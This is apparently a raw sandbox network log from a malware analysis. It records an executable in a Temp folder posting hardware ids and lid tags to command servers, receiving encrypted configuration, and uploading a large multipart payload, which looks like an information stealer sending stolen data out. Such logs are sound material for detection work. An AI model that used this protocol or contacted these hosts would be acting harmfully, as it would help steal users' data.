2024-12-18 14:57:45 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 14:57:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.10	50057	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:57:45 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: grannyejh.lat
2024-12-18 14:57:45 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 79 61 75 36 4e 61 2d 2d 36 39 38 39 37 38 33 33 37 30 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=yau6Na--6989783370&j=
2024-12-18 14:57:47 UTC	1035	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:57:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=v94qp4cenpliugrb1nvvve5e13; expires=Sun, 13-Apr-2025 08:44:25 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=F6YjVnXf%2FGd5HD%2FVsNjPL2NOPTvKG86f9r47DBt9vzMBPqZ2R9%2F%2BtjYSAw5W4xXGi6iRpOYD4nIJqsxtWzCkE98L627L1%2BloRUdnQFYTH34HDUSJ1GmJXOmv2FIy%2FafC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4001d23f668c54-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1866&min_rtt=1835&rtt_var=710&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=949&delivery_rate=1591280&cwnd=184&unsent_bytes=0&cid=0fb02a5a30aee0d0&ts=2151&x=0"
2024-12-18 14:57:47 UTC	334	IN	Data Raw: 34 65 32 0d 0a 74 6d 34 78 66 55 58 47 56 65 4e 70 75 47 4a 79 70 4a 2b 4b 52 34 45 58 35 70 33 71 57 72 71 74 51 37 77 4f 2b 69 38 61 6b 50 44 4e 54 45 64 66 66 2f 4a 35 77 52 72 64 51 45 6a 51 37 66 38 69 72 54 57 48 2b 63 68 67 33 4d 77 76 7a 32 76 57 44 57 7a 39 30 6f 77 49 55 42 45 32 6f 33 6e 42 44 4d 42 41 53 50 2f 6b 71 43 4c 76 4e 64 79 2f 6a 7a 44 59 7a 43 2f 65 62 35 46 41 61 76 79 54 33 67 4a 57 46 53 43 6c 4d 59 49 46 31 51 63 58 77 66 37 67 4b 65 68 36 6a 76 44 49 64 70 6a 49 4f 5a 34 30 32 47 4a 2f 35 4a 48 37 44 30 49 57 5a 37 74 35 6d 45 76 64 44 46 43 65 76 65 73 69 34 33 75 41 2b 59 45 79 30 73 55 6e 33 32 71 51 58 33 50 32 6d 4e 34 4d 56 52 51 71 72 43 57 50 44 39 49 4d 45 63 76 2b 71 47 75 6a 63 70 79 2f 30 48 69 4c 2f 53 4c 50 66 59 Data Ascii: 4e2tm4xfUXGVeNpuGJypJ+KR4EX5p3qWrqtQ7wO+i8akPDNTEdff/J5wRrdQEjQ7f8irTWH+chg3Mwvz2vWDWz90owIUBE2o3nBDMBASP/kqCLvNdy/jzDYzC/eb5FAavyT3gJWFSClMYIF1QcXwf7gKeh6jvDIdpjIOZ402GJ/5JH7D0IWZ7t5mEvdDFCevesi43uA+YEy0sUn32qQX3P2mN4MVRQqrCWPD9IMEcv+qGujcpy/0HiL/SLPfY
2024-12-18 14:57:47 UTC	923	IN	Data Raw: 64 35 68 77 53 4b 42 44 58 2f 2b 30 6f 78 4d 56 52 45 6d 71 54 65 54 41 39 45 4c 46 64 54 32 34 53 6a 75 64 59 6e 31 68 7a 76 59 79 43 76 55 59 35 4a 4a 64 66 2b 55 31 41 77 54 55 57 65 6a 4c 38 46 54 6d 69 4d 56 31 76 72 6b 4d 36 46 50 78 4f 44 47 49 5a 6a 49 4c 5a 34 30 32 45 56 39 38 5a 48 66 41 31 41 58 4c 4c 59 33 6b 77 33 58 42 51 4c 41 2b 4f 59 76 34 47 65 4f 38 59 34 37 30 63 51 6f 32 32 75 63 44 54 61 79 6c 63 78 4d 43 31 38 47 71 54 79 4e 41 63 30 41 55 4e 6d 7a 38 57 58 6b 65 63 53 6e 79 44 7a 5a 79 79 44 61 59 70 5a 4a 64 50 53 63 32 51 4e 56 46 53 65 6a 50 59 6b 44 32 77 30 62 79 66 33 74 4b 4f 64 7a 69 50 36 4e 65 4a 61 50 4a 73 59 73 77 41 31 57 39 5a 48 47 54 6d 59 63 4b 61 6f 77 6c 30 76 46 54 67 6d 47 2b 75 52 6c 75 7a 57 4b 2b 6f 63 71 Data Ascii: d5hwSKBDX/+0oxMVREmqTeTA9ELFdT24SjudYn1hzvYyCvUY5JJdf+U1AwTUWejL8FTmiMV1vrkM6FPxODGIZjILZ402EV98ZHfA1AXLLY3kw3XBQLA+OYv4GeO8Y470cQo22ucDTaylcxMC18GqTyNAc0AUNmz8WXkecSnyDzZyyDaYpZJdPSc2QNVFSejPYkD2w0byf3tKOdziP6NeJaPJsYswA1W9ZHGTmYcKaowl0vFTgmG+uRluzWK+ocq
2024-12-18 14:57:47 UTC	1369	IN	Data Raw: 34 34 33 61 0d 0a 49 49 45 4d 76 38 34 79 33 6c 65 49 2f 77 68 7a 2f 51 7a 43 33 62 59 5a 73 4e 4e 72 4b 56 7a 45 77 4c 58 77 4b 71 4e 4a 41 61 6d 44 55 54 79 50 50 76 4d 36 4e 71 79 75 62 49 50 39 53 50 65 5a 35 6d 6e 30 70 38 2f 35 6a 58 43 46 63 53 4b 4b 30 2b 69 42 6e 51 44 42 37 55 38 4f 49 67 37 58 6d 42 38 49 67 35 32 63 45 72 31 53 7a 57 44 58 2f 71 30 6f 78 4d 66 42 49 33 74 6a 32 4b 47 70 67 31 45 38 6a 7a 37 7a 4f 6a 61 73 72 6d 79 44 2f 55 6a 33 6d 65 5a 35 35 42 64 50 4b 55 78 67 4a 63 44 53 32 32 4d 34 38 50 31 67 34 5a 79 2f 4c 74 4e 2b 64 31 6c 76 36 4e 50 39 62 43 4d 39 73 73 31 67 31 2f 36 74 4b 4d 54 47 6b 72 49 4c 51 6d 68 6b 6e 76 41 78 37 49 2b 76 35 6c 2f 44 75 64 76 34 38 30 6d 4a 64 68 33 57 43 56 52 48 33 39 67 4e 34 41 55 67 30 Data Ascii: 443aIIEMv84y3leI/whz/QzC3bYZsNNrKVzEwLXwKqNJAamDUTyPPvM6NqyubIP9SPeZ5mn0p8/5jXCFcSKK0+iBnQDB7U8OIg7XmB8Ig52cEr1SzWDX/q0oxMfBI3tj2KGpg1E8jz7zOjasrmyD/Uj3meZ55BdPKUxgJcDS22M48P1g4Zy/LtN+d1lv6NP9bCM9ss1g1/6tKMTGkrILQmhknvAx7I+v5l/Dudv480mJdh3WCVRH39gN4AUg0
2024-12-18 14:57:47 UTC	1369	IN	Data Raw: 77 2f 51 42 52 54 4b 39 2b 67 67 38 58 32 43 2b 49 51 77 33 63 41 6e 32 32 47 66 52 6e 76 67 67 4e 63 49 58 52 4e 6e 36 6e 65 47 45 35 70 59 55 4f 50 71 36 7a 58 6c 64 73 54 67 78 69 47 59 79 43 32 65 4e 4e 68 4e 64 76 36 5a 30 77 64 59 47 79 4f 6b 4f 6f 6f 46 31 41 6b 63 7a 76 48 76 4e 2b 35 77 6a 50 57 42 50 64 54 43 49 73 78 76 6d 51 30 32 73 70 58 4d 54 41 74 66 41 4a 63 41 6f 6b 76 46 54 67 6d 47 2b 75 52 6c 75 7a 57 46 39 34 38 32 33 4e 30 76 7a 47 4b 66 54 58 37 36 6d 74 4d 41 58 52 45 31 72 44 61 42 42 64 55 49 47 63 4c 38 37 43 48 76 63 73 53 78 79 44 2f 41 6a 33 6d 65 52 4a 74 58 59 72 43 38 33 77 78 55 44 7a 47 2f 64 35 35 46 77 30 41 58 79 72 32 77 5a 65 64 2b 6a 76 61 4c 4d 64 7a 43 49 64 64 6a 6b 55 56 31 2b 6f 44 56 42 6b 45 62 49 71 55 34 Data Ascii: w/QBRTK9+gg8X2C+IQw3cAn22GfRnvggNcIXRNn6neGE5pYUOPq6zXldsTgxiGYyC2eNNhNdv6Z0wdYGyOkOooF1AkczvHvN+5wjPWBPdTCIsxvmQ02spXMTAtfAJcAokvFTgmG+uRluzWF94823N0vzGKfTX76mtMAXRE1rDaBBdUIGcL87CHvcsSxyD/Aj3meRJtXYrC83wxUDzG/d55Fw0AXyr2wZed+jvaLMdzCIddjkUV1+oDVBkEbIqU4
2024-12-18 14:57:47 UTC	1369	IN	Data Raw: 67 64 78 66 58 36 4a 65 35 31 6c 75 32 4f 4d 39 61 50 62 35 35 72 67 41 30 67 73 71 50 44 42 78 4d 41 61 62 31 33 68 67 65 61 57 46 44 46 39 2b 55 72 38 58 47 43 39 49 73 32 30 4d 6f 70 32 6d 61 56 51 6e 50 34 6d 39 77 4d 58 42 6f 76 72 7a 47 50 43 74 77 4d 48 59 61 7a 71 43 4c 37 4e 64 79 2f 72 79 4c 56 79 54 62 50 57 5a 39 4e 4b 62 4b 4e 6d 68 55 54 47 43 76 6b 62 38 45 47 31 67 6f 64 77 2f 6e 67 49 75 42 30 69 50 75 46 4e 64 7a 47 4a 64 74 2b 69 6b 74 32 38 70 33 61 41 31 38 4e 4b 61 45 33 6a 55 75 55 51 42 66 65 76 62 42 6c 30 6d 4b 45 76 35 64 32 77 59 38 6d 30 69 7a 41 44 58 66 2f 67 4e 67 44 55 78 34 6b 6f 44 79 47 44 64 77 42 45 38 50 2b 37 53 50 69 64 59 6a 31 6a 7a 44 53 77 53 7a 59 61 4a 35 4c 4f 4c 7a 53 30 78 51 54 52 32 65 57 4f 6f 38 43 32 Data Ascii: gdxfX6Je51lu2OM9aPb55rgA0gsqPDBxMAab13hgeaWFDF9+Ur8XGC9Is20Mop2maVQnP4m9wMXBovrzGPCtwMHYazqCL7Ndy/ryLVyTbPWZ9NKbKNmhUTGCvkb8EG1godw/ngIuB0iPuFNdzGJdt+ikt28p3aA18NKaE3jUuUQBfevbBl0mKEv5d2wY8m0izADXf/gNgDUx4koDyGDdwBE8P+7SPidYj1jzDSwSzYaJ5LOLzS0xQTR2eWOo8C2
2024-12-18 14:57:47 UTC	1369	IN	Data Raw: 36 34 43 72 6e 64 59 75 2f 78 6e 6a 66 31 32 47 47 4c 4c 68 47 62 74 4f 63 33 78 34 54 41 47 6d 39 64 34 59 48 6d 6c 68 51 79 50 54 70 4c 65 31 35 6a 50 75 61 4f 4e 50 47 4c 74 39 6a 6d 45 35 35 2b 4a 72 47 43 6c 4d 55 4c 36 4d 2f 68 51 58 49 41 52 2b 47 73 36 67 69 2b 7a 58 63 76 37 6b 75 33 38 67 75 6e 45 57 66 56 6e 6e 34 6b 64 38 41 45 77 42 70 76 58 65 47 42 35 70 59 55 4d 76 78 35 53 48 78 65 59 54 2f 67 54 2f 53 33 53 37 52 59 5a 74 4e 66 65 43 54 78 67 4e 59 47 69 53 67 4f 49 34 48 30 67 70 51 69 4c 33 76 50 61 4d 74 78 4e 4f 4c 4b 64 4b 4e 42 73 52 36 6e 30 46 70 2b 5a 2f 59 54 45 78 52 50 75 51 77 6a 55 75 43 51 42 44 48 38 50 6f 67 34 6e 2b 4f 38 6f 41 33 33 63 6f 75 32 6d 69 54 51 32 72 38 6e 64 51 4b 57 42 34 69 70 7a 79 4c 42 64 4d 53 55 49 Data Ascii: 64CrndYu/xnjf12GGLLhGbtOc3x4TAGm9d4YHmlhQyPTpLe15jPuaONPGLt9jmE55+JrGClMUL6M/hQXIAR+Gs6gi+zXcv7ku38gunEWfVnn4kd8AEwBpvXeGB5pYUMvx5SHxeYT/gT/S3S7RYZtNfeCTxgNYGiSgOI4H0gpQiL3vPaMtxNOLKdKNBsR6n0Fp+Z/YTExRPuQwjUuCQBDH8Pog4n+O8oA33cou2miTQ2r8ndQKWB4ipzyLBdMSUI
2024-12-18 14:57:47 UTC	1369	IN	Data Raw: 34 48 43 42 39 59 51 30 32 63 63 6f 31 47 6d 64 53 33 4c 78 6e 4e 73 4e 58 78 73 75 71 6a 37 42 52 5a 6f 48 43 49 61 6c 71 42 50 7a 63 70 7a 79 6d 48 72 71 7a 44 44 50 65 5a 56 64 66 72 43 39 31 77 42 51 47 69 43 30 64 35 35 46 77 30 41 58 79 72 32 77 5a 65 4e 78 69 50 79 50 4e 74 66 43 4c 74 6c 6e 6c 30 64 32 34 4a 33 52 42 46 38 58 4b 72 59 39 69 78 6e 54 43 52 33 49 39 66 6f 6d 6f 7a 76 45 2b 4a 42 34 67 49 38 54 31 47 2b 55 57 33 58 39 30 73 74 43 53 6c 38 67 71 48 66 5a 53 38 67 53 45 4d 33 39 37 79 76 78 64 49 7a 77 67 6a 6a 65 78 43 76 64 5a 5a 78 44 63 66 53 54 32 51 31 53 48 79 4b 6b 50 70 4d 47 6d 6b 35 51 77 65 57 6f 66 61 4e 43 69 50 53 35 4f 38 36 50 50 70 42 31 32 45 70 30 73 73 71 55 44 55 45 53 4c 36 41 33 6a 41 33 52 41 52 48 46 2f 65 67 Data Ascii: 4HCB9YQ02cco1GmdS3LxnNsNXxsuqj7BRZoHCIalqBPzcpzymHrqzDDPeZVdfrC91wBQGiC0d55Fw0AXyr2wZeNxiPyPNtfCLtlnl0d24J3RBF8XKrY9ixnTCR3I9fomozvE+JB4gI8T1G+UW3X90stCSl8gqHfZS8gSEM397yvxdIzwgjjexCvdZZxDcfST2Q1SHyKkPpMGmk5QweWofaNCiPS5O86PPpB12Ep0ssqUDUESL6A3jA3RARHF/eg
2024-12-18 14:57:47 UTC	1369	IN	Data Raw: 4c 2f 50 4f 38 72 64 4a 39 31 36 6d 77 70 47 7a 4c 4c 66 47 6c 49 53 4c 4b 67 4a 76 78 37 5a 44 68 37 42 36 2f 6c 6c 72 54 57 4c 76 39 41 42 6d 49 64 68 34 53 4c 59 56 54 69 71 30 75 45 50 58 52 45 67 73 69 62 4d 4b 39 45 57 45 63 76 32 35 47 66 69 65 4a 54 34 79 48 61 59 79 57 47 47 50 4e 59 4e 66 4f 50 53 6a 46 77 42 52 48 4c 33 59 4e 46 5a 78 55 34 4a 68 75 75 6f 66 62 45 37 78 4f 33 49 59 4a 69 49 49 73 78 2b 6e 6b 35 75 38 64 58 71 4d 6e 4d 55 4b 36 63 37 67 41 79 61 54 6c 44 4a 76 62 41 63 6f 33 61 57 37 63 63 70 7a 73 49 78 32 53 43 51 58 48 58 2b 30 70 70 4d 48 78 73 73 71 44 4b 47 47 35 55 53 41 4d 33 78 2f 6d 6e 6e 5a 38 53 78 79 43 6e 54 77 44 50 51 61 39 64 63 62 76 2b 43 31 77 6c 55 55 79 2b 31 4f 6f 31 4c 6c 45 41 46 7a 66 48 75 4b 50 59 36 Data Ascii: L/PO8rdJ916mwpGzLLfGlISLKgJvx7ZDh7B6/llrTWLv9ABmIdh4SLYVTiq0uEPXREgsibMK9EWEcv25GfieJT4yHaYyWGGPNYNfOPSjFwBRHL3YNFZxU4JhuuofbE7xO3IYJiIIsx+nk5u8dXqMnMUK6c7gAyaTlDJvbAco3aW7ccpzsIx2SCQXHX+0ppMHxssqDKGG5USAM3x/mnnZ8SxyCnTwDPQa9dcbv+C1wlUUy+1Oo1LlEAFzfHuKPY6
2024-12-18 14:57:47 UTC	1369	IN	Data Raw: 54 4a 33 43 2f 56 65 70 38 4e 52 37 7a 53 7a 45 77 4c 58 78 4b 6e 4f 59 38 4d 7a 42 46 64 34 50 37 76 49 2b 42 37 6b 2b 37 49 64 70 6a 4a 59 59 59 2b 31 67 31 38 34 39 4b 4d 58 41 46 45 63 76 64 67 30 56 6e 46 54 67 6d 47 36 36 68 39 73 44 76 45 37 63 68 67 6d 49 67 76 30 32 32 62 51 33 76 67 67 4e 49 50 52 52 78 67 6d 67 6d 6b 42 74 63 46 48 73 48 44 31 67 54 70 5a 59 6e 77 6a 77 62 6d 2b 44 44 5a 66 4e 70 72 65 2b 53 52 6c 45 49 54 42 32 66 38 64 36 41 42 79 67 30 66 77 62 32 6d 5a 65 63 31 33 4c 2b 74 4e 64 58 4b 4c 39 6b 75 75 55 64 6f 2f 35 33 54 54 42 31 66 4b 2b 52 76 77 51 72 51 45 42 33 4a 2b 71 51 69 2b 58 4c 45 73 63 67 32 6d 4a 64 68 33 32 61 49 51 48 66 31 33 74 49 43 58 56 38 34 36 69 37 42 48 5a 70 59 51 34 69 39 2b 6d 57 37 4e 63 50 78 68 Data Ascii: TJ3C/Vep8NR7zSzEwLXxKnOY8MzBFd4P7vI+B7k+7IdpjJYYY+1g1849KMXAFEcvdg0VnFTgmG66h9sDvE7chgmIgv022bQ3vggNIPRRxgmgmkBtcFHsHD1gTpZYnwjwbm+DDZfNpre+SRlEITB2f8d6AByg0fwb2mZec13L+tNdXKL9kuuUdo/53TTB1fK+RvwQrQEB3J+qQi+XLEscg2mJdh32aIQHf13tICXV846i7BHZpYQ4i9+mW7NcPxh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.10	50065	104.21.12.88	443	7656	C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:57:46 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=WJ0ZW7Z4UTP6HY4U User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1353 Host: lossekniyyt.click
2024-12-18 14:57:46 UTC	1353	OUT	Data Raw: 2d 2d 57 4a 30 5a 57 37 5a 34 55 54 50 36 48 59 34 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 42 38 41 36 33 30 36 31 34 34 36 39 36 35 35 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 57 4a 30 5a 57 37 5a 34 55 54 50 36 48 59 34 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 57 4a 30 5a 57 37 5a 34 55 54 50 36 48 59 34 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 39 5a 31 63 79 63 2d 2d 0d 0a 2d 2d 57 4a 30 5a 57 37 5a Data Ascii: --WJ0ZW7Z4UTP6HY4UContent-Disposition: form-data; name="hwid"0B8A630614469655AC8923850305D13E--WJ0ZW7Z4UTP6HY4UContent-Disposition: form-data; name="pid"1--WJ0ZW7Z4UTP6HY4UContent-Disposition: form-data; name="lid"9Z1cyc----WJ0ZW7Z
2024-12-18 14:57:47 UTC	1042	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:57:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=21tiiom3omv3js093eifafdm42; expires=Sun, 13-Apr-2025 08:44:26 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tc3gMZ875vL0Lw27U%2FrP7ScUAklJqwkpGU1FT%2Fs69edOAjnmLVTu8kZyIxzDuFxnLPiksrbvpRouBofyT67u7owp22PtqKXrPfcFZpkSlbC3YxrImNOJvsb9x4rSC%2BMCxGLAcg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4001db9f147d14-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1921&min_rtt=1915&rtt_var=732&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2842&recv_bytes=2269&delivery_rate=1482233&cwnd=245&unsent_bytes=0&cid=dd90b8917f0ee4ce&ts=1326&x=0"
2024-12-18 14:57:47 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 14:57:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.10	50071	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:57:49 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=HLYH2R9XCMVL User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12816 Host: grannyejh.lat
2024-12-18 14:57:49 UTC	12816	OUT	Data Raw: 2d 2d 48 4c 59 48 32 52 39 58 43 4d 56 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 42 38 41 36 33 30 36 31 34 34 36 39 36 35 35 30 30 44 35 37 46 39 44 44 44 33 37 42 45 30 43 0d 0a 2d 2d 48 4c 59 48 32 52 39 58 43 4d 56 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 48 4c 59 48 32 52 39 58 43 4d 56 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 79 61 75 36 4e 61 2d 2d 36 39 38 39 37 38 33 33 37 30 0d 0a 2d 2d 48 4c 59 48 32 52 39 58 43 Data Ascii: --HLYH2R9XCMVLContent-Disposition: form-data; name="hwid"0B8A63061446965500D57F9DDD37BE0C--HLYH2R9XCMVLContent-Disposition: form-data; name="pid"2--HLYH2R9XCMVLContent-Disposition: form-data; name="lid"yau6Na--6989783370--HLYH2R9XC
2024-12-18 14:57:50 UTC	1029	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:57:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pcbhua57ik8eqrp0jomdvtrvpc; expires=Sun, 13-Apr-2025 08:44:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EV9X9IRFlUdnOsoR277OJu4vQg0baIcaU7lTWig1Od6qSgLBvr0WWahj%2F3pRe8BfKFi5YmETMrG7h8KYn1j56vLvwCrV36pKhLFxlNfDJ9hMBo2NyfV4ZxxGka3hEVHE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4001ec7c9cc409-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1626&min_rtt=1623&rtt_var=616&sent=10&recv=16&lost=0&retrans=0&sent_bytes=2830&recv_bytes=13747&delivery_rate=1767554&cwnd=167&unsent_bytes=0&cid=c4b5db0dfd04cf56&ts=1096&x=0"
2024-12-18 14:57:50 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 14:57:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.10	50073	104.21.12.88	443	7656	C:\Users\user\AppData\Local\Temp\1016941001\fae24101ae.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:57:50 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=JT5QHZWU70W3D3C0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 580464 Host: lossekniyyt.click
2024-12-18 14:57:50 UTC	15331	OUT	Data Raw: 2d 2d 4a 54 35 51 48 5a 57 55 37 30 57 33 44 33 43 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 42 38 41 36 33 30 36 31 34 34 36 39 36 35 35 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 4a 54 35 51 48 5a 57 55 37 30 57 33 44 33 43 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4a 54 35 51 48 5a 57 55 37 30 57 33 44 33 43 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 39 5a 31 63 79 63 2d 2d 0d 0a 2d 2d 4a 54 35 51 48 5a 57 Data Ascii: --JT5QHZWU70W3D3C0Content-Disposition: form-data; name="hwid"0B8A630614469655AC8923850305D13E--JT5QHZWU70W3D3C0Content-Disposition: form-data; name="pid"1--JT5QHZWU70W3D3C0Content-Disposition: form-data; name="lid"9Z1cyc----JT5QHZW
2024-12-18 14:57:50 UTC	15331	OUT	Data Raw: 2c 04 f9 a8 d7 18 4d b2 f8 79 10 53 fc a8 c6 7d 54 54 94 7f 73 a9 7c b7 5f 9c ef bb 80 78 3e 4d 34 5c 92 7e 7a ac 0c 05 77 a1 b3 f8 6d e1 0a d9 5c 71 0f e1 46 ab a8 c0 a7 14 fe b4 8c 85 cf 6a 5d ba 96 ee 5c b3 60 8c 86 8a 58 89 27 e3 ae 17 99 49 4b 3b ec 4e 5f 1a 0c 62 33 83 3d 9d 17 13 3d 11 5c 3d b3 e7 1d 10 77 63 27 c5 90 5d 58 85 81 50 17 34 7c 48 73 d3 d4 12 10 bd 76 72 54 06 23 e3 8f 3b 8b 6d 5d d2 1b d6 70 9b 42 90 ff 94 d7 9e c1 2f 6e 24 6b 2c 18 0e f1 fd 97 b9 b8 28 39 f0 94 d1 f5 1b 10 2c ce fd d4 2e bf fb fb bc ca cd a5 be 0f 08 60 28 8b 52 e2 68 43 e9 b7 23 6f 69 ef 7f 7c 49 bf 7d 7f 56 d9 c6 3f 7c 60 c0 02 fa a3 23 fe 9b 87 19 7c 19 a2 51 d2 a0 1e 3e 20 1a 0e 5b 2d 00 ea 07 71 f0 14 ac 60 99 3c 82 0d 5a 61 35 f4 8e 8b d8 45 b3 ad dd 98 bd a8 Data Ascii: ,MyS}TTs\|_x>M4\~zwm\qFj]\`X'IK;N_b3==\=wc']XP4\|HsvrT#;m]pB/n$k,(9,.`(RhC#oi\|I}V?\|`#\|Q> [-q`<Za5E
